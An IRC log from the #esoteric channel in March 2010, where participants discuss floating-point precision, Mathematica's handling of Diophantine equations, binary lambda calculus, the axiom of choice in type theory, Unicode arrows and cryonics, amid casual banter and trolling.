23:05:40 <Phantom_Hoover> Oerjan: Linking to TV Tropes? Have you no decency?
23:05:42 -!- adam_d has joined.
23:06:29 <oerjan> i thought my evil laughter would be warning enough
23:10:11 <Phantom_Hoover> Fortunately I was already overexposed.
23:19:43 -!- Azstal has joined.
23:20:46 -!- Aszstal has joined.
23:22:28 -!- Asztal has quit (Ping timeout: 246 seconds).
23:22:39 -!- Aszstal has changed nick to Asztal.
23:24:15 -!- Azstal has quit (Ping timeout: 245 seconds).
23:25:59 <AnMaster> "cpuemu.c:34537: warning: comparison of promoted ~unsigned with unsigned" <-- that is a warning I never seen before
23:26:05 <AnMaster> also what a huge line number
23:26:19 <pikhq> I suggest clang.
23:26:27 <AnMaster> pikhq, oh?
23:26:37 <pikhq> It gives useful errors and warnings.
23:26:42 <AnMaster> pikhq, I doubt it would work. This uses inline asm which llvm doesn't support
23:26:46 <pikhq> And it makes C++ type errors readable.
23:26:48 <AnMaster> specifically x87 asm
23:26:53 <pikhq> Aaaaw.
23:27:00 <pikhq> Wait, x87? Burn it with fire!
23:27:09 <AnMaster> pikhq, *shrug*
23:27:30 <AnMaster> I don't see what is wrong with using that.
23:27:46 <pikhq> It's quite slower than SSE.
23:27:59 <AnMaster> pikhq, sure, but SSE doesn't do long double
23:28:19 <AnMaster> what the heck dcop.cpp:(.text+0x52c): undefined reference to `KApplication::dcopClient()'
23:28:42 <AnMaster> shouldn't ./configure have, you know, detected that
23:29:15 <AnMaster> google says: No results found for "comparison of promoted ~unsigned with unsigned".
23:30:32 <pikhq> Yes, but I fail to see the advantage of an 80-bit floating point type that's hella-slow and unportable.
23:31:17 <AnMaster> pikhq, well because PPC has 128 bit
23:31:24 <AnMaster> while x86 only has 80 bits
23:31:38 <pikhq> x86 doesn't have floating point.
23:31:40 <pikhq> :P
23:31:51 <AnMaster> har
23:33:58 <Phantom_Hoover> Really?
23:34:07 <fizzie> Hm, PPC does real quadruple-precision floats? That's impressive.
23:34:50 <Phantom_Hoover> When would you even need floats that precise?
23:34:54 <Phantom_Hoover> Rocket science?
23:35:01 <AnMaster> fizzie, pretty sure it does
23:35:17 <fizzie> http://en.wikipedia.org/wiki/Long_double speaks only of software implementations, but who knows.
23:36:01 <fizzie> Also, GCC's http://gcc.gnu.org/onlinedocs/gcc/Floating-Types.html says __float80 and __float128 are only supported on x86ish things (the latter with software emulation), but I guess they might still do a "long double" like that.
23:37:59 <fizzie> Another place lists a 128-bit PowerPC "long double" format that's listed to be implemented as "fast software".
23:38:09 <fizzie> That double-double non-IEEE thing sounds bizarre.
23:38:26 <fizzie> "PowerPC supports long double using its fused multiply-add instruction, so its operations are relatively fast, though not fully IEEE-compliant."
23:38:39 <AnMaster> hm
23:38:45 <AnMaster> aha
23:38:55 <Phantom_Hoover> What?
23:38:59 <fizzie> I guess if all you have is a fused multiply-add, all your floats look like... nails? I don't know how that saying goes.
23:41:17 -!- oerjan has quit (Quit: Just don't blow a fuse).
23:41:28 -!- Oranjer has left (?).
23:50:57 <fax> mathematica can't even do diophantine equations over natural numbers....
23:51:20 <Ilari> Isn't there standard IEEE quad-prec float type also (but not widely supported)?
23:52:08 <fax> have to do && x >= 0
23:53:23 <dixon> Because Mathematica sucks.
23:54:15 -!- tombom has quit (Quit: Leaving).
23:59:09 <Slereah> You can't solve general diophantine equations, though
23:59:59 -!- jcp has quit (Read error: Operation timed out).
2010-03-27
00:00:31 -!- oklopol has joined.
00:05:15 * Sgeo wonders what Ilari thinks about energy drinks and caffeine pills
00:05:47 -!- Oranjer has joined.
00:07:30 <fax> *Diophant> mathematica ((U "x" :\=: U "y") :/\: (U "x" :>: I 13) :/\: (U "y" :>=: I 7))
00:07:34 <fax> "FindInstance[(((((((x + (-1 * y)) ^ 2) + (-1 * (x1 + 1))) ^ 2) + ((((13 + x2) + 1) + (-1 * x)) ^ 2)) ^ 2) + (((7 + x3) + (-1 * y)) ^ 2))==0 &&x>=0&&y>=0&&x1>=0&&x2>=0&&x3>=0,{x, y, x1, x2, x3},Integers]"
00:07:48 <fax> mathematica takes about 10 seconds then it finds: x -> 16, y -> 11
00:12:58 <Sgeo> "I understand and accept that my choice of cryopreservation may affect the type and extend of medical care I receive. Some physicians and medical facilities may refuse to treat or admit me because of my cryopreservation arrangements or may require that I be transferred to another, perhaps less suitable medical facility for treatment and care."
00:13:05 -!- Phantom_Hoover has quit (Ping timeout: 240 seconds).
00:13:10 <Sgeo> That's kind of.. unacceptable, really
00:14:31 -!- MigoMipo has quit (Remote host closed the connection).
00:14:37 * fax is running '(I 2 :|: U "x") :/\: (I 3 :|: U "x") :/\: (I 5 :|: U "x") :/\: (U "x" :>: I 1)'
00:14:42 <fax> and it is taking a long long time
00:14:57 <Sgeo> J?
00:15:37 <fax> Sgeo, it means that x is divisible by 2 3 and 5, and it's greater than 1
00:18:01 -!- Phantom_Hoover has joined.
00:20:49 -!- FireFly has quit (Quit: Leaving).
00:21:20 <Phantom_Hoover> I lie!
00:21:23 <Phantom_Hoover> Oops.
00:21:30 <Phantom_Hoover> Freudian slit.
00:22:00 <fax> I have asked mathematica to find me a number which is divisible by 2, 3 and 5. and is greater than 1...
00:22:03 <fax> it says "The methods available to FindInstance are insufficient to find the \
00:22:06 <fax> requested instances or prove they do not exist."
00:22:18 <Phantom_Hoover> :O
00:23:36 <Sgeo> fax, J is slow, o.O
00:23:46 <Sgeo> even _I_ know an answer
00:23:48 <oklopol> DID YOU TRY 2*3*5??
00:24:09 <Sgeo> Or wait, that code's Mathematica?
00:24:15 <Sgeo> I've never seen Mathematica code before
00:24:33 <fax> um it's not J
00:24:57 <AnMaster> night
00:24:57 <fax> exists x1, x2, x3, x4, (((x - 2 x1)^2 + (x - 3 x2)^2)^2 + (x - 5 x3)^2)^2 + (2 - x + x4)^2 <--- this expresses that x is divisible by 2, 3, 5 & is greater than 1
00:25:08 <fax> but mathematica gave up on it
00:25:32 <fax> stupid thing
00:26:25 <AnMaster> fax, try reduce?
00:26:34 <AnMaster> Reduce that is
00:26:39 <Sgeo> How would you do it in J?
00:28:24 <Phantom_Hoover> Hmm... I sent a fax to my secretary.
00:28:46 <AnMaster> huh, having your own secretary
00:29:31 <Phantom_Hoover> That was just to test the IRC thing.
00:29:43 <AnMaster> what irc thing?
00:29:55 -!- BeholdMyGlory has quit (Remote host closed the connection).
00:30:25 -!- oklopol has quit (Ping timeout: 264 seconds).
00:31:39 -!- jcp has joined.
00:33:54 <Phantom_Hoover> At least in my client, it highlights stuff.
00:36:26 <AnMaster> what stuff?
00:36:34 <AnMaster> your own nick?
00:36:38 <AnMaster> you were just annoying fax?
00:37:30 <Phantom_Hoover> ...Not particularly.
00:38:28 <Phantom_Hoover> How did everyone else find out about esolangs?
00:39:28 <AnMaster> night really →
00:41:40 <Phantom_Hoover> Anyway, bye.
00:41:42 -!- Phantom_Hoover has quit (Quit: ChatZilla 0.9.86 [Firefox 3.5.8/20100214235838]).
00:46:22 <Slereah> I found about it when seeing a humorous drawing involving INTERCAL
01:02:41 -!- zzo38 has joined.
01:04:58 -!- adam_d has quit (Ping timeout: 264 seconds).
01:12:43 -!- zzo38 has quit (Remote host closed the connection).
01:17:55 -!- wareya has joined.
02:30:03 -!- jcp has quit (Ping timeout: 276 seconds).
02:54:34 -!- jcp has joined.
03:05:20 -!- adu has joined.
03:07:37 -!- Oranjer has left (?).
03:12:10 -!- fax has quit (Quit: Lost terminal).
03:48:25 -!- Asztal has quit (Ping timeout: 245 seconds).
03:53:08 -!- augur has joined.
04:53:41 -!- adu has quit (Quit: adu).
05:22:39 -!- pikhq has quit (Read error: Connection reset by peer).
05:23:59 -!- pikhq has joined.
05:24:20 <pikhq> GAH INTERNET HATES ME
05:25:37 <pikhq> Lag: 31.91
05:25:54 <pikhq> GAAAAH
05:28:28 <pikhq> WHO HIT THE INTERNET-SUCKS BUTTON
05:29:49 -!- augur has quit (Ping timeout: 264 seconds).
05:29:56 <Quadrescence> oh that is what that button does ._.
05:37:20 -!- pikhq has quit (Read error: Connection reset by peer).
05:42:59 -!- pikhq has joined.
05:43:40 * Sgeo blames Pez.. err, Quadrescence
05:44:03 <dixon> It only started happening since people started using Haskell.
05:44:21 <dixon> I know correlation doesn't imply causation--except when it does.
06:02:04 -!- augur has joined.
06:35:42 -!- Gracenotes has joined.
06:45:28 -!- coppro has joined.
06:51:10 * pikhq sees a lack of alise. OH NOES
06:53:34 <coppro> I hope he's made it to Sweden
07:37:40 -!- jcp has quit (Quit: I will do anything (almost) for a new router.).
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:32:49 -!- oerjan has joined.
09:15:54 -!- oerjan has quit (Quit: leaving).
09:36:57 -!- adam_d has joined.
09:42:52 -!- kar8nga has joined.
10:16:28 -!- tombom has joined.
10:28:04 -!- MigoMipo has joined.
10:30:06 -!- adam_d has quit (Ping timeout: 260 seconds).
11:22:23 -!- alise has joined.
11:22:45 <alise> This is a dispatch / it numbers five. / Every weekend / the #esoteric jive. Also: worst poem ever.
11:26:54 <alise> 18:02:33 * alise gets in TARDIS; destination: Friday.
11:26:58 <alise> Oh snap, I caused a pime taradox.
11:28:14 <alise> 20:29:53 <zzo38> I have my own story about teleportation: One guy makes up a new kind of teleporter but something goes wrong. Now we lost the harp. But that's OK, because it caused other things too which are beneficial to the situation anyways. The End
11:28:22 <alise> /speechless
11:28:36 <alise> 21:12:00 * Sgeo fails to see "Cryonics" on WhatsTheHarm
11:28:42 <alise> Most people see cryonics as a harmless scam...
11:29:07 <alise> Most people, of course, usually taking the most mediocrely dumb opinion they can.
11:30:38 <alise> 09:54:11 <ais523_> the quote's from <http://www.geocities.com/tablizer/science.htm>, which somehow still exists, and which is interesting (although I don't know if I agree with it or not yet)
11:30:42 <alise> oh no, not the OOP guy!
11:30:46 <alise> well, anti-oop
11:33:26 <alise> so what's everyone's favourite binary lambda calculus encoding
11:34:10 <alise> I thought I liked John Tromp's especially because it has a 210 bit self-interpreter, but it doesn't seem to be very pure LC to me
11:34:27 <alise> 'cause it isn't directly lambdas and stuff
11:34:51 <alise> no wait it is
11:34:54 <alise> i just read the io section
11:35:29 <alise> hey tromp invented exactly my notation
11:35:38 <alise> well more or less
11:35:47 <alise> 00e = \e
11:35:51 <alise> 01fx = f x
11:36:13 <alise> 1^i0 = i
11:36:22 <alise> although hmm
11:36:33 <alise> don't you need an extra 1 with i?
11:36:45 <alise> because otherwise, 000 ... well actually it is unambiguous
11:36:58 <alise> it kind of irks me that we have 0s at the start though, I don't like that
11:37:06 <alise> because 0 and 000 are distinct programs...
11:37:11 <alise> adding 1 at the start solves that but that's ugly
11:38:12 <alise> then again numbers outside of a lambda aren't allowed
11:38:16 <alise> so we don't need them to be valid on their own
11:38:20 -!- kar8nga has quit (Remote host closed the connection).
11:38:51 <alise> we can do
11:38:52 <alise> 100e = \e
11:38:52 <alise> 101fx = f x
11:38:52 <alise> 11(n 1s)0 = n
11:39:05 <alise> but that's verbose...
11:48:34 <alise> ;
11:48:35 <alise> oops
11:51:32 <alise> 16:52:58 <Tritonio_GR> but a way to implement arrays ovcer brainfuck
11:51:58 <alise> x_0, 1, x_1, 1, x_2, 1, ..., x_(n-1), 1, x_n, 0
11:52:34 <alise> 22:23:01 <pikhq> I IS NOW 10
11:52:34 <alise> 22:23:03 <pikhq> 20
11:52:35 <alise> 22:23:08 <pikhq> NOT 10, 20.
11:52:36 <alise> :|
11:52:39 <alise> stop making me feel inferior
11:52:43 <alise> 23:00:05 <Sgeo> Why are all these younger people smarter than I am?
11:52:45 <alise> CAUSE YOU SUCK
11:53:50 <alise> 23:16:12 <Quadrescence> Yes but reading a book on paper > reading a book on screen
11:53:51 <alise> ebook
11:55:25 -!- BeholdMyGlory has joined.
11:57:04 <alise> http://web.tiscali.it/magazzinocartoniani/ Hey look, old computer ROMs.
11:57:28 -!- oklopol has joined.
11:57:36 <alise> hi oklopol
11:59:50 -!- fax has joined.
12:01:57 <oklopol> hi alise
12:02:00 <oklopol> hi fax
12:02:12 <alise> i has a ti 83 emulator
12:02:22 <alise> i note that it cannot handle me pressing + on the keboard
12:03:59 <fax> hello!
12:05:01 <alise> this thing is a bitch to use
12:06:42 <alise> srsly
12:07:07 <fax> alise what category do you know
12:07:19 <alise> i don't even think ti calculators can do symbolic stuff
12:07:23 <alise> fax: category theory?
12:07:27 <fax> 1
12:07:35 <alise> not a lot at all. and what i do know is mostly how it works in CS
12:08:03 <fax> I got this book called Computational Category Theory, and it implements all the stuff it talks about in SML
12:08:16 <fax> it's realy cool
12:08:22 <alise> sounds nice, apart from SML :P
12:08:35 <fizzie> alise: The TI-89 can do some; that's why it wasn't allowed for exam-use at school.
12:08:40 <alise> pah i'm gonna make my own calculators
12:08:43 <alise> with blackjack, and hookers
12:08:49 <alise> fizzie: downloading a rom as we speak
12:09:13 <alise> if it isn't as good as a cas i don't wnat it :P
12:09:26 <fizzie> It probably won't be.
12:09:30 <fax> wtf
12:09:30 <alise> meh archive is invalid
12:09:38 <fax> alise do you catually know what SML is...
12:09:54 <alise> fax: yes
12:10:02 <alise> i just don't like it much as a language, personal taste
12:10:07 <fax> it like one of the most important functional languages in CS historyr...
12:10:12 <alise> yes, I know
12:10:17 <alise> and i respect it for its innovation
12:10:19 <fax> -_-
12:10:20 <alise> as I do Lisp 1.5
12:10:23 <alise> but I don't like Lisp 1.5, either
12:10:24 <fax> hehe
12:10:38 <oklopol> basic is pretty historically relevant too
12:10:40 <alise> I'd certainly choose it over the abomination that is OCaml.
12:10:50 <oklopol> maybe for slightly different reasons
12:10:55 <fax> whaaaaaaat
12:10:59 <fax> OCAML IS EVEN BETER
12:11:13 <alise> You are of course joking.
12:11:44 <fax> alise: let me explain why ocaml is awesome in one word: categorical abstact machine
12:11:52 <oklopol> "fax: alise do you catually know what SML is..." <<< thought "catually" was some sort of category theory pun at first
12:11:54 <alise> Granted, that is sweet.
12:11:58 <alise> But the actual language I do not like.
12:12:12 <fax> who carse about 'actual language' that's for employees :P
12:12:27 <alise> Yeaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaahhhhhhhhhhh :P
12:12:41 <fax> alise I've been trying to do cats in coq but I failed a lot
12:12:49 <alise> cat = lol cat
12:12:56 <alise> a catamorphism over the lol functor
12:13:15 <oklopol> OMG MY COQ IS FULL OF CATS
12:13:21 <fax> lol
12:13:30 <alise> oklopol: hawt
12:13:32 <alise> AAAANYWAY
12:13:32 <fax> succ it
12:13:49 <oklopol> i like how i made a penis joke after alise's sophisticated category theory one
12:13:54 <alise> I was thinking about representing infinity as (\h -> h) but I'm pretty sure the basic ordinal type you do in functoinal langs is that isn't it
12:14:09 <oklopol> oh good fax made one too
12:14:20 <alise> well, basically representing (lim k->inf e) as (\k -> e)
12:14:35 <alise> and (lim k->n e) as some sort of scaling so that infinity = n
12:15:18 <alise> 11:30:14 <AnMaster> also I assume it was in the kitchen? As you (or I at least) never take any fluids near a computer for safety reason
12:15:20 <alise> oh come on
12:15:26 <oklopol> zorn's lemma is a pretty magical tool
12:15:28 <oklopol> i love it
12:15:29 <alise> your thinkpad has a sophisticated drainage system
12:15:38 <alise> oklopol: is zorn's lemma implied by intensional choice or just extensional?
12:15:42 <alise> I know well-ordering is extensional
12:15:49 <oklopol> i don't know what those terms mean
12:15:53 <oklopol> enlighten me
12:16:09 <fax> zorns LEMMON LOL
12:16:14 <oklopol> :DDDDDDDDDDDDDDDDDDDDDDDDDDD
12:16:16 <alise> http://r6.ca/blog/20050604T143800Z.html intensional choice lets you have ∀ a:A. ∃ b:B. R a b then ∃ f:A ⇒ B. ∀ a:A. R a (f a).
12:16:19 <alise> without well-ordering
12:16:35 <alise> (intensional choice is provable in type theory, extensional isn't)
12:16:38 <oklopol> which ones of those are exists'
12:16:49 <oklopol> i'm still blind
12:17:14 <alise> Intensional choice:
12:17:25 <alise> If FORALL a:A. EXISTS b:B. R a b
12:17:37 <alise> Then EXISTS f:(A->B). FORALL a:A. R a (f a)
12:17:53 <alise> It is provable in type theory.
12:17:56 <oklopol> oh right i guess it's kinda obvious what the quantifiers are based on what choice is
12:18:07 <oklopol> okay what's extensional
12:18:30 <fax> this makes sense because a proof of forall is a function, and exists is a pair b & proof of R a b
12:18:32 <oklopol> i'll still not be able to answer because i haven't seen zorn's lemma derived from choice
12:18:46 <fax> so you are just doing an eta switch thingy, then rewiggling the proof
12:18:56 <alise> What is stated above is the intensional axiom of choice. It is equivalent to saying that every surjective function has a right inverse. The extensional axiom of choice states that if (A, ~A) and (B, ~B) are setiods (a type and equivalence relation on that type), and R is a relation on A and B respecting the equivalence relations, then if FORALL a:A. EXISTS b:B. R a b then EXIST f:(A -> B). FORALL a:A. R a (f a). Further more f will respect the equivalen
12:18:57 <alise> ce relations. The extensional axiom of choice is equivalent to saying that for every surjective extensional function there exists a right inverse that is also extensional.
12:18:58 <alise> "Hope this helps"
12:19:18 <fax> I wonder what zorns lemon woudl be in type theory?
12:19:49 <fax> 99% of the words are things that we DO NOT SPEAK OF in type theory
12:19:56 <alise> Zorn's lemma is equivalent to the well-ordering theorem and the axiom of choice, in the sense that any one of them, together with the ZermeloFraenkel axioms of set theory, is sufficient to prove the others
12:20:02 <alise> so zorn's lemma is extensional choice
12:20:10 <alise> so type theory doesn't have zorn's lemma
12:20:19 <fax> in set theory it is.. but in type theory thery may be stratified more preciesly
12:20:33 <alise> also oklopol: http://en.wikipedia.org/wiki/Zorn%27s_lemma#Sketch_of_the_proof_of_Zorn.27s_lemma_.28from_the_axiom_of_choice.29
12:21:22 <fax> alise I'm having universe inconsisency problems but the bitch aint one
12:21:49 <alise> fax: true
12:21:49 <alise> but "probably"
12:21:49 <alise> oh fuck i ran out of mobile broadband
12:21:49 <alise> can anyone hear me?
12:21:50 <alise> 15:26:03 <coppro> do you program Haskell a lot?
12:21:50 <alise> 15:26:09 <fax> never heard of it
12:21:51 <alise> trollaxin'
12:21:59 <fax> ;(
12:22:43 <alise> 15:30:40 <fax> coppro, that's not possible in haskell
12:22:43 <alise> double trollaxin'
12:22:43 <alise> 15:31:02 <coppro> fax: yes, it can. There's a particularly elegant solution to this problem
12:22:43 <alise> 15:31:07 <fax> it says 'purely functional'
12:22:43 <alise> 15:31:16 <coppro> yes. You work on IO objects
12:22:44 <alise> 15:31:24 <fax> oh it's object oriented?
12:22:44 <alise> 15:31:25 <fax> I can do that
12:22:45 <alise> haha you fucking asshole
12:23:12 <fax> alise I thought he was playing along with me but he was actually oblivious :/
12:23:24 <Sgeo> >.>
12:23:28 <fax> it was a disastair on so many levels
12:23:43 <fax> infact I would go so far as to call it a disastaircase
12:24:54 <alise> 15:31:30 <adu> fax: you obviously know nothing about Haskell, so stop making these kinds of assertions
12:24:54 <alise> xDD
12:24:54 <alise> 15:39:26 <fax> coppro [] is nondeterministic search
12:24:54 <alise> 15:39:43 <coppro> hey, thanks, fax, you helped me make up my mind! /ignore it is!
12:24:54 <alise> It is, actually.
12:24:55 <alise> So you're an idiot.
12:24:55 <alise> Admittedly I wouldn't have much confidence in fax's ability to Haskell afte rthe above.
12:24:59 <oklopol> kay so basically you just take bigger and bigger elements and have the sequence be longer than the set's size
12:25:12 <oklopol> i think i can fill in the AoC details
12:26:13 <alise> my opinion on http://tunes.org/~nef/logs/esoteric/10.03.23: you're all whiny cunts, STFU
12:26:19 <fax> lol
12:26:49 <Sgeo> alise, I _still_ don't get the "search" part of []
12:27:03 <fax> Sgeo, uh .. you could have asked me
12:27:27 <alise> 16:37:14 <ais523> oklopol: then it's no different from any other form of government, just with more paperwork
12:27:27 <alise> apart from anarchy
12:27:40 <Sgeo> s/alise/fax/
12:27:55 <oklopol> when you take a cartesian product, you try out all the combinations. the monad lets you do with nice syntax
12:28:02 <oklopol> *do this
12:28:35 <alise> 17:14:59 <ais523> basically, you return an infinitely big lookup table listing what outputs should go with all possible inputs, allowing for interspersings of them
12:28:35 <alise> so you mean Input -> Output.
12:28:35 <alise> fax: Well, to be honest, trolling so convincingly that you don't know Haskell and /then/ making authoritative statements about Haskell Doesn't Really Work.
12:29:27 <fax> Sgeo: do a <- [a1,a2,a3] ; b <- [b1,b2] ; p a b <=> a(a1). a(a2). a(a3). b(b1). b(b2). ?- a(A), b(B), p(A,B).
12:30:16 <oklopol> is it okay that i still find big numbers scary... there was this proof about varieties that starts with us finding a sub*set* of this class that can still be arbitrarily infinite... and then we define m to be a cardinal upper bound for all those infinities, which is possible because there's only a set of them and not a class
12:30:21 <oklopol> and i was like woooooah
12:30:29 <oklopol> well big numbrs
12:30:31 <oklopol> *numbers
12:30:33 <oklopol> more like big sets
12:30:36 <fax> infinity is not a number!!
12:30:37 <Sgeo> oklopol, too much of the math here makes me go wooosh
12:30:42 <Sgeo> I wish less did
12:30:54 <oklopol> but there are infinite cardinals
12:30:59 <fax> Sgeo did you read the finite calculus stuff?
12:31:00 <alise> But Sgeo jumped to conclusions and coppro did the most annoying thing ever (rubbing in /ignores)
12:31:00 <alise> stuff is coming in spurts i think i need to top up mah broadband
12:31:00 <alise> stupid costly POS
12:31:15 <oklopol> stuff coming in spurts for me too
12:31:19 <Sgeo> fax, finite calculus stuff?
12:31:22 <oklopol> oh wait maybe fax was joking again
12:31:24 <fax> -_-
12:32:07 <oklopol> Sgeo: finite calculus is when your integrals only take a finite amount of time to calculate
12:32:30 <alise> Sgeo could have asked you and you could also have explained rather than saying how stupid he is :P
12:32:30 <alise> Neutrality achieved by blaming everyone in equal amounts!
12:32:35 <alise> whoa huge flood
12:32:59 -!- alise has quit (Quit: Leaving).
12:33:13 <fax> 11:32 <fax> wanna se my depedend type
12:33:14 <fax> 11:32 <alise> sure
12:33:14 <fax> 11:32 -!- alise [~alise___@212.183.140.51] has quit [Quit: Leaving]
12:33:15 <fax> ;_;
12:33:19 -!- alise has joined.
12:33:29 <alise> a thing i don't like about binary LC
12:33:34 <alise> false is more complex than true
12:33:36 <alise> because of de bruijn
12:33:38 <oklopol> i wanna see your dependent type too
12:33:46 <oklopol> i didn't know humans had types
12:33:49 <oklopol> that's kinda racist
12:33:58 <Sgeo> Can there be integrals that take an infinite time to calculate but don't have infinitity or neg infinity as the.. bounds [not sure of the terminology]
12:34:00 <fax> come to #morphism
12:34:27 <oklopol> i think yes, for any sensible definition of that
12:34:56 <oklopol> say the integral from zero to zero
12:35:23 <Sgeo> How is that not simply 0?
12:37:23 <oklopol> we'd really have to define all this
12:37:41 <oklopol> i was assuming we'd use some sort of rules to find the expression to be integrated
12:38:54 <fax> Sgeo -- this is where I learned about finite calculus www.stanford.edu/~dgleich/publications/finite-calculus.pdf
12:39:28 <oklopol> you might misunderstand it as talking about something completely different from what i said, i suggest you read harder in that case
12:41:15 * Sgeo wishes we could easily use notation in here
12:41:33 <oklopol> you can use those \ thingies
12:41:37 <fax> yeah I wish we have proper math in IRC :(
12:41:50 <fax> it would be so nice to be abel to type with \mathbb and \mathcal
12:42:18 <oklopol> i don't really like most of math syntax, but what i hate even more is that most of math is in plain english
12:42:30 <alise> fax: you could do that more easiersy
12:42:46 <alise> fax: just have an irc client plugggin
12:42:50 <alise> that looks out for $...$
12:42:55 <alise> or maybe $$...$$ to reduce clashes
12:43:03 <alise> then the rest of the nerds who know latex could just read that
12:49:48 <fax> nerds don't exist
12:52:40 -!- FireFly has joined.
12:56:33 <alise> how come unicode doesn't have ~>
12:56:33 <alise> :(
12:56:34 * Sgeo is trying Elfen Lied
12:56:34 <Sgeo> It's a bit.. gory for my tastes
12:56:41 <alise> it would be a perfect function arrow over setoids
12:58:38 <fizzie> So ↝ doesn't quite cut it? (Admittedly it points a bit to the wrong direction.)
12:59:17 <fax> ~↝
12:59:28 <fizzie> Use the "I don't know where I'm going" arrow, ↬
12:59:36 <fax> dangerous curve :P
13:00:15 <fizzie> What about ⟿ ?
13:00:25 <fizzie> The "LONG RIGHTWARDS SQUIGGLE ARROW".
13:00:33 <fax> loks like a maggot
13:01:52 <fizzie> Or the WAVE ARROW POINTING DIRECTLY RIGHT, ⤳
13:02:09 <fizzie> It doesn't have that much of a wave there, at least in this font, just a hump.
13:02:22 <fizzie> Maybe they just felt that the "HUMP ARROW" didn't sound quite as good.
13:02:38 <alise> Ah, ↝ would work, I suppose.
13:02:58 <alise> ⤳ could do with a bit more of a wave, yeah.
13:05:42 -!- adam_d has joined.
13:07:34 <fax> alise
13:07:57 <alise> what
13:08:26 <fax> http://i.imgur.com/VKAiL.png
13:14:39 -!- augur has quit (Ping timeout: 252 seconds).
13:20:05 -!- kar8nga has joined.
13:21:12 <alise> 11:33:47 <Phantom_Hoover> No, the notion that medical technology will be able to revive you.
13:21:21 <alise> the whole premise is that non-information-theoretic death is not really death, which is true
13:21:33 <alise> it's all about tradeoffs
13:22:31 <Sgeo> The thing is, there are some non-monetary costs too. No autopsies, organ donation is questionable [I'm going to contact Alcor or something and ask], and worst: Do Not Resscussitate once the standby team's there
13:22:40 <oklopol> i ask ya, who'd want to be revived without a soul
13:22:43 <oklopol> ??
13:22:50 <alise> Autopsies -- who cares?
13:23:08 <alise> Organ donation -- Well, cryonics is selfish in the first place: I value /my/ life
13:23:09 <fax> oklopol uh.. hate to break this to ya...
13:23:16 <fax> "soul" doesn't exist
13:23:18 <alise> fax: o, the troller is trolled
13:23:21 -!- oklopol has quit (Read error: Connection reset by peer).
13:23:27 <fax> ^ alise
13:23:32 <fax> or so you thought
13:23:41 <alise> sgeo: and so what about DNR?? you're only gonna be frozen if there's nothing that can be done
13:23:44 <fax> -!- oklopol [~oklopol@a91-153-117-208.elisa-laajakaista.fi] has quit [Read error: Connection reset by getting trolled so hard]
13:25:27 -!- tombom has quit (Quit: Leaving).
13:26:51 -!- oklopol has joined.
13:28:33 <oklopol> fax: people who don't have souls don't have free will because free will comes from souls by deffinition i have free will because if i want i can do whatever i want therefore i have a soul
13:29:00 <oklopol> the logic is irrefutable
13:29:50 <fax> free will is a stupid concept from the dark ages
13:30:18 <fax> I'm so fucking sick of 'atheists' who believe in stupid shit like determinism or free will
13:30:35 <oklopol> no it's not see if i didn't have free will then i couldn't lift this cup unless there was DETERMINISTIC PROCESS in my brain who does it but i can do it if i want or not do it so i must have a free will
13:31:05 <fax> oklopol have I showed you my conscious program?
13:31:22 <fax> int main(void) { puts("I am conscious!"); return EXIT_SUCCESS; }
13:31:26 <oklopol> i mean maybe you don't have free will because you're a ignorance person but i do i'm a thinker logician
13:31:33 <alise> fax: you are such a fucking idiot
13:31:38 <alise> oklopol is trolling you so obviously
13:31:44 <fax> alise your the idiot
13:31:50 <fax> alise.... TWICE
13:31:53 <oklopol> :D
13:31:54 <alise> *you're/
13:31:56 <alise> *you're.
13:32:01 <fax> *you're
13:32:06 <oklopol> fax: no in fact she's trolling *you*
13:32:10 <oklopol> wait
13:32:14 <oklopol> maybe you were both trolling me
13:32:22 <oklopol> this is getting too complicated
13:32:26 <fax> maybe nobody is trolling anyone
13:32:34 <oklopol> my soul can't take this complicatedness
13:32:35 <fax> and we're all secretly serious but wont admit it
13:33:29 <oklopol> i find most of the crazy theories sensible, i think i could seriously believe any of them, but belief is pretty irrelevant
13:33:39 <fax> what crazy theories??
13:33:55 <oklopol> soul, finitism, infinite sets, that reality exists, etc
13:34:46 <oklopol> i prefer to go with the flow and believe what others seem to
13:35:19 <fax> another thing is people who hide behind the guise of 'formalism' to attack REAL philosophies
13:35:47 <fax> I guess I know how people who thing being bisexual is 'cheating' feel
13:36:03 <oklopol> hmm
13:36:17 <oklopol> can you elaborate on the analogy, i'm sort of slow
13:36:20 <alise> i love people who criticise bisexuality in that way, it's hilarious
13:36:25 <alise> this is sex. there are _RULES!_
13:37:06 <oklopol> bisexuality makes you twice more sexable, wanking makes you infinitely sexable
13:37:14 <alise> whoa
13:38:45 <fax> oklopol, people who pretend to be formalists.. but then they attack platonism or whatever. It's like "way to be a formalist" ..
13:41:44 <fax> kind of like people who think they can program in every language but in honesty what they do is pretend they're using the IO monad in haskell or whatever
13:42:09 <alise> fizzie: is there a ≈> arrow, maybe?
13:42:10 <fax> and they think of state as being some "object" that is implicitly passed around
13:42:10 <alise> that would work too
13:42:54 <oklopol> yeah those people probably don't have souls
13:45:27 <alise> fax: btw shouldn't there be another setoid arrow
13:45:36 <fax> what do you eman
13:45:37 <fax> mean
13:45:38 <alise> from one setoid to a different one so that if a~b then f(a)~f(b)
13:45:46 <alise> as opposed to from a setoid to some random type so that if a~b then f(a)=f(b)
13:45:57 <oklopol> that's what the original was
13:46:01 <oklopol> with <->
13:46:04 <fax> I wrote a ~ b ==> f(a) <-> f(b) earlier, to show that you could use different equivalences
13:46:04 <oklopol> on the right
13:46:05 <alise> the former is more general since you can have ~ be =
13:46:10 <alise> fax: ah.
13:46:27 <fax> but alise if you use quotients then you can just use = everywhere
13:46:34 <fax> a ~ b <=> [a] = [b]
13:46:47 <fax> where [a] is the equivalence class of a
13:47:00 -!- kar8nga has quit (Remote host closed the connection).
13:47:26 <alise> fax: quotients imply extensional choice
13:47:35 <alise> so i don't want them
13:47:53 <fax> alise but say you had some development that used quotients
13:48:06 * alise wonders what to call the constructor A -> A/~
13:48:13 <fax> there could be an automatic elaboration that turns it all into the equivalent setoid development no?
13:48:25 <alise> fax: sure
13:48:34 <fax> so where does choice come into it?
13:48:36 <alise> I think it's the bending = that makes choice happen
13:48:43 <alise> because = is a very strong statement...
13:48:53 <alise> if we elaborate it out we no longer use =
13:48:54 <fax> [a] = [b] just means a ~ b
13:49:04 <alise> fax: all I know is that it has been proved
13:49:09 <fax> llol
13:49:17 <fax> I proved that 4 = 2
13:49:40 <alise> fax:
